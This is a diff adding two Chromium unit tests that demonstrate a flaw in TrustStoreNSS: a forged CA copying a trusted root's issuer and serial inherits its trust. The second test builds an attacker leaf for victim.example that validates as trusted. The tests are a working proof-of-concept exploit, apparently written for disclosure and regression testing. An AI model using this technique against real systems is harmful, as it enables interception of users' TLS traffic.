diff --git a/net/cert/internal/trust_store_nss_unittest.cc b/net/cert/internal/trust_store_nss_unittest.cc index bff17420ceaf9..37f4d84cf5fbb 100644 --- a/net/cert/internal/trust_store_nss_unittest.cc +++ b/net/cert/internal/trust_store_nss_unittest.cc @@ -21,15 +21,23 @@ #include "net/cert/internal/cert_issuer_source_sync_unittest.h" #include "net/cert/internal/test_helpers.h" #include "net/cert/scoped_nss_types.h" +#include "net/cert/time_conversions.h" #include "net/cert/x509_util.h" #include "net/cert/x509_util_nss.h" +#include "net/test/cert_builder.h" #include "net/test/cert_test_util.h" #include "net/test/test_data_directory.h" #include "testing/gtest/include/gtest/gtest.h" #include "third_party/boringssl/src/include/openssl/pool.h" #include "third_party/boringssl/src/pki/cert_errors.h" +#include "third_party/boringssl/src/pki/cert_issuer_source_static.h" +#include "third_party/boringssl/src/pki/certificate_policies.h" +#include "third_party/boringssl/src/pki/extended_key_usage.h" #include "third_party/boringssl/src/pki/parsed_certificate.h" +#include "third_party/boringssl/src/pki/path_builder.h" +#include "third_party/boringssl/src/pki/simple_path_builder_delegate.h" #include "third_party/boringssl/src/pki/trust_store.h" +#include "third_party/boringssl/src/pki/verify_certificate_chain.h" namespace net { @@ -734,6 +742,258 @@ TEST_F(TrustStoreNSSTestWithoutSlotFilter, CertsPresentButNotTrusted) { bssl::CertificateTrust::ForUnspecified())); } +// Demonstrates that TrustStoreNSS::GetTrust returns the trust of an unrelated +// certificate T when queried with a certificate C that merely shares T's +// (issuer, serialNumber) tuple. Because CERT_FindCertByDERCert resolves the +// input DER to (issuer, serial) and looks up any matching certificate in the +// NSS token/cache without a post-lookup DER equality check, an attacker who +// knows the (issuer, serial) of a locally-trusted root can mint a certificate +// with an arbitrary SPKI that TrustStoreNSS reports as a trust anchor. +// +// In production, the path builder binds this TrustAnchor result to the +// attacker's certificate bytes (path_builder.cc CertIssuersIter::AddIssuers), +// and VerifyCertificateChain then uses the attacker's SPKI as the +// working_public_key without verifying the anchor's own signature -- yielding a +// full server-certificate verification bypass on Linux desktop for any user +// with a locally-imported NSS CA. +TEST_F(TrustStoreNSSTestWithoutSlotFilter, + IssuerSerialAliasingReturnsTrustedAnchor) { + // 1. Build the "legitimate" locally-trusted root T. + // + // T is a self-signed CA the user has imported into their NSS softoken with + // SSL CA trust (e.g. an enterprise root added via + // `certutil -d sql:$HOME/.pki/nssdb -A -t "C,,"`). + auto trusted_root = std::make_unique(nullptr, nullptr); + trusted_root->SetSubjectCommonName("Corp Root CA"); + const uint64_t kSharedSerial = 0x1234u; + trusted_root->SetSerialNumber(kSharedSerial); + trusted_root->SetBasicConstraints(/*is_ca=*/true, /*path_len=*/-1); + trusted_root->SetKeyUsages({bssl::KEY_USAGE_BIT_KEY_CERT_SIGN}); + trusted_root->SetValidity(base::Time::Now() - base::Days(1), + base::Time::Now() + base::Days(365)); + trusted_root->GenerateECKey(); + + bssl::CertErrors errors; + std::shared_ptr parsed_trusted_root = + bssl::ParsedCertificate::Create( + trusted_root->DupCertBuffer(), + x509_util::DefaultParseCertificateOptions(), &errors); + ASSERT_TRUE(parsed_trusted_root) << errors.ToDebugString(); + + // Byte-exact issuer Name and serial of T. Because T is self-signed, + // T.issuer == T.subject. + const std::string trusted_issuer_tlv = trusted_root->GetSubject(); + + // Import T into the user's NSS softoken with SSL CA trust. + AddCertToNSSSlotWithTrust(parsed_trusted_root.get(), test_nssdb_.slot(), + bssl::CertificateTrustType::TRUSTED_ANCHOR); + + // Sanity: T itself is reported as a trust anchor. + ASSERT_TRUE(HasTrust({parsed_trusted_root}, ExpectedTrustForAnchor())); + + // 2. Build the attacker's certificate C. + // + // C is fully attacker-controlled: it has its own key K_evil, its own + // subject, its own extensions -- but its tbsCertificate.issuer and + // tbsCertificate.serialNumber are byte-exact copies of T's. C is NOT + // imported into NSS; the attacker simply sends C in the TLS Certificate + // message. During verification, CertVerifyProcBuiltin adds C only to a + // bssl::CertIssuerSourceStatic and then calls TrustStoreNSS::GetTrust(C) + // via the path builder. + auto evil = std::make_unique(nullptr, nullptr); + evil->SetSubjectCommonName("Evil CA"); + evil->SetSerialNumber(kSharedSerial); // == T.serial + evil->SetIssuerTLV(base::as_byte_span(trusted_issuer_tlv)); // == T.issuer + evil->SetBasicConstraints(/*is_ca=*/true, /*path_len=*/-1); + evil->SetKeyUsages({bssl::KEY_USAGE_BIT_KEY_CERT_SIGN}); + evil->SetValidity(base::Time::Now() - base::Days(1), + base::Time::Now() + base::Days(365)); + evil->GenerateECKey(); // K_evil -- unrelated to T's key. + + std::shared_ptr parsed_evil = + bssl::ParsedCertificate::Create( + evil->DupCertBuffer(), + x509_util::DefaultParseCertificateOptions(), &errors); + ASSERT_TRUE(parsed_evil) << errors.ToDebugString(); + + // C is a completely different certificate from T: different subject, + // different SPKI, different DER. + ASSERT_NE(parsed_evil->der_cert(), parsed_trusted_root->der_cert()); + ASSERT_NE(parsed_evil->tbs().spki_tlv, parsed_trusted_root->tbs().spki_tlv); + ASSERT_NE(parsed_evil->normalized_subject(), + parsed_trusted_root->normalized_subject()); + + // 3. The vulnerability. + // + // CERT_FindCertByDERCert(C_der) extracts (issuer=CN=Corp Root CA, + // serial=0x1234) from C's DER, finds T in the softoken by that key, and + // returns T's CERTCertificate*. GetTrustIgnoringSystemTrust(T) then reads + // T's CERTDB_TRUSTED_CA flag from the user slot and returns + // ForTrustAnchor().WithEnforceAnchorConstraints().WithEnforceAnchorExpiry(). + // + // The correct result would be Unspecified: C's bytes were never imported or + // trusted by the user. + bssl::CertificateTrust evil_trust = + trust_store_nss_->GetTrust(parsed_evil.get()); + + // ***** THIS IS THE BUG ***** + // GetTrust(C) returns TrustAnchor even though C's DER was never trusted. + // In a correct implementation this EXPECT would fail (evil_trust would be + // Unspecified), but on vulnerable code it passes. + EXPECT_EQ(ExpectedTrustForAnchor().ToDebugString(), + evil_trust.ToDebugString()) + << "TrustStoreNSS::GetTrust(C) did NOT alias to T's trust -- either the " + "bug is fixed or NSS behavior differs on this system."; + + // Also confirm at the raw NSS layer that CERT_FindCertByDERCert(C) returned + // T (not C): the returned CERTCertificate's derCert equals T's DER, not C's. + { + SECItem der_cert; + der_cert.data = const_cast(parsed_evil->der_cert().data()); + der_cert.len = + base::checked_cast(parsed_evil->der_cert().size()); + der_cert.type = siDERCertBuffer; + ScopedCERTCertificate found( + CERT_FindCertByDERCert(CERT_GetDefaultCertDB(), &der_cert)); + ASSERT_TRUE(found); + base::span found_der = + x509_util::CERTCertificateAsSpan(found.get()); + EXPECT_EQ(bssl::der::Input(found_der), parsed_trusted_root->der_cert()) + << "CERT_FindCertByDERCert(C) should have aliased to T's bytes"; + EXPECT_NE(bssl::der::Input(found_der), parsed_evil->der_cert()); + } +} + +// End-to-end demonstration of the certificate-verification bypass. Given the +// (issuer, serial) aliasing in TrustStoreNSS::GetTrust demonstrated above, an +// A-SERVER/MITM attacker who knows the (issuer, serial) of any locally-imported +// NSS root T can serve a chain [leaf, C] that Chrome's path builder accepts as +// valid for an arbitrary hostname -- with no signature relationship whatsoever +// to T. +// +// This test drives bssl::CertPathBuilder exactly as CertVerifyProcBuiltin does: +// the leaf and the attacker's intermediate C go into a CertIssuerSourceStatic, +// and TrustStoreNSS is the trust store. In production, TrustStoreNSS is wrapped +// in a TrustStoreCollection alongside TrustStoreChrome; TrustStoreChrome would +// return Unspecified for C (its SPKI is not in the CRS), so TrustStoreNSS's +// TrustAnchor result stands. +TEST_F(TrustStoreNSSTestWithoutSlotFilter, + IssuerSerialAliasingCertVerificationBypass) { + base::Time now = base::Time::Now(); + + // 1. Locally-trusted enterprise root T. + auto trusted_root = std::make_unique(nullptr, nullptr); + trusted_root->SetSubjectCommonName("Corp Root CA"); + const uint64_t kSharedSerial = 0x42u; + trusted_root->SetSerialNumber(kSharedSerial); + trusted_root->SetBasicConstraints(/*is_ca=*/true, /*path_len=*/-1); + trusted_root->SetKeyUsages({bssl::KEY_USAGE_BIT_KEY_CERT_SIGN}); + trusted_root->SetValidity(now - base::Days(1), now + base::Days(3650)); + trusted_root->GenerateECKey(); + + bssl::CertErrors errors; + std::shared_ptr parsed_trusted_root = + bssl::ParsedCertificate::Create( + trusted_root->DupCertBuffer(), + x509_util::DefaultParseCertificateOptions(), &errors); + ASSERT_TRUE(parsed_trusted_root) << errors.ToDebugString(); + + AddCertToNSSSlotWithTrust(parsed_trusted_root.get(), test_nssdb_.slot(), + bssl::CertificateTrustType::TRUSTED_ANCHOR); + ASSERT_TRUE(HasTrust({parsed_trusted_root}, ExpectedTrustForAnchor())); + + // 2. Attacker's forged CA C: byte-exact issuer + serial of T, but K_evil + // SPKI, arbitrary subject, and self-signed with K_evil (the anchor's own + // signature is never verified). C carries CA:TRUE + keyCertSign so that + // WithEnforceAnchorConstraints() passes. + auto evil = std::make_unique(nullptr, nullptr); + evil->SetSubjectCommonName("Evil CA"); + evil->SetSerialNumber(kSharedSerial); + evil->SetIssuerTLV(base::as_byte_span(trusted_root->GetSubject())); + evil->SetBasicConstraints(/*is_ca=*/true, /*path_len=*/-1); + evil->SetKeyUsages({bssl::KEY_USAGE_BIT_KEY_CERT_SIGN}); + evil->SetValidity(now - base::Days(1), now + base::Days(365)); + evil->GenerateECKey(); + + std::shared_ptr parsed_evil = + bssl::ParsedCertificate::Create( + evil->DupCertBuffer(), + x509_util::DefaultParseCertificateOptions(), &errors); + ASSERT_TRUE(parsed_evil) << errors.ToDebugString(); + ASSERT_NE(parsed_evil->der_cert(), parsed_trusted_root->der_cert()); + ASSERT_NE(parsed_evil->tbs().spki_tlv, parsed_trusted_root->tbs().spki_tlv); + + // 3. Attacker's leaf L for victim.example, signed by K_evil. + auto leaf = std::make_unique(nullptr, evil.get()); + leaf->SetSubjectCommonName("victim.example"); + leaf->SetSubjectAltName("victim.example"); + leaf->SetExtendedKeyUsages({bssl::der::Input(bssl::kServerAuth)}); + leaf->SetKeyUsages({bssl::KEY_USAGE_BIT_DIGITAL_SIGNATURE}); + leaf->SetBasicConstraints(/*is_ca=*/false, /*path_len=*/-1); + leaf->SetValidity(now - base::Days(1), now + base::Days(90)); + leaf->GenerateECKey(); + + std::shared_ptr parsed_leaf = + bssl::ParsedCertificate::Create( + leaf->DupCertBuffer(), + x509_util::DefaultParseCertificateOptions(), &errors); + ASSERT_TRUE(parsed_leaf) << errors.ToDebugString(); + + // 4. Run the path builder exactly as CertVerifyProcBuiltin::TryBuildPath + // does: TrustStoreNSS as the trust store, C supplied as an intermediate via + // a CertIssuerSourceStatic (mirroring AddIntermediatesToIssuerSource). + bssl::CertIssuerSourceStatic intermediates; + intermediates.AddCert(parsed_evil); + + bssl::SimplePathBuilderDelegate delegate( + 1024, bssl::SimplePathBuilderDelegate::DigestPolicy::kStrong); + + bssl::der::GeneralizedTime verify_time; + ASSERT_TRUE(EncodeTimeAsGeneralizedTime(now, &verify_time)); + + const std::set user_initial_policy_set = { + bssl::der::Input(bssl::kAnyPolicyOid)}; + + bssl::CertPathBuilder path_builder( + parsed_leaf, trust_store_nss_.get(), &delegate, verify_time, + bssl::KeyPurpose::SERVER_AUTH, bssl::InitialExplicitPolicy::kFalse, + user_initial_policy_set, bssl::InitialPolicyMappingInhibit::kFalse, + bssl::InitialAnyPolicyInhibit::kFalse); + path_builder.AddCertIssuerSource(&intermediates); + + bssl::CertPathBuilder::Result result = path_builder.Run(); + + // ***** THIS IS THE BUG ***** + // The attacker's chain [L, C] validates as a trusted server certificate for + // victim.example even though neither L nor C bear any signature from T (or + // from anything the user ever trusted). The path builder bound C's bytes to + // T's TrustAnchor status, then used C's SPKI (K_evil) as the working public + // key for the anchor. + ASSERT_TRUE(result.HasValidPath()) + << "Path building failed -- either the bug is fixed or NSS behavior " + "differs on this system. Best-path errors:\n" + << (result.GetBestPathPossiblyInvalid() + ? result.GetBestPathPossiblyInvalid()->errors.ToDebugString( + result.GetBestPathPossiblyInvalid()->certs) + : ""); + + const bssl::CertPathBuilderResultPath& path = *result.GetBestValidPath(); + ASSERT_EQ(2u, path.certs.size()); + EXPECT_EQ(parsed_leaf->der_cert(), path.certs[0]->der_cert()); + // The trust anchor in the *validated path* is the attacker's C, not T. + EXPECT_EQ(parsed_evil->der_cert(), path.certs[1]->der_cert()); + EXPECT_TRUE(path.last_cert_trust.IsTrustAnchor()); + fprintf(stderr, + "\n[*] Certificate verification BYPASS: leaf for 'victim.example' " + "signed only by attacker key K_evil validated as TRUSTED via forged " + "anchor C aliasing (issuer,serial) of locally-trusted root T.\n" + " path[0] = leaf (SPKI hash != T's key)\n" + " path[1] = C (attacker cert, DER != T's DER, treated as " + "TrustAnchor)\n" + " path.last_cert_trust = %s\n\n", + path.last_cert_trust.ToDebugString().c_str()); +} + // Trust a single self-signed CA certificate. TEST_F(TrustStoreNSSTestWithoutSlotFilter, TrustedCA) { AddCertsToNSS();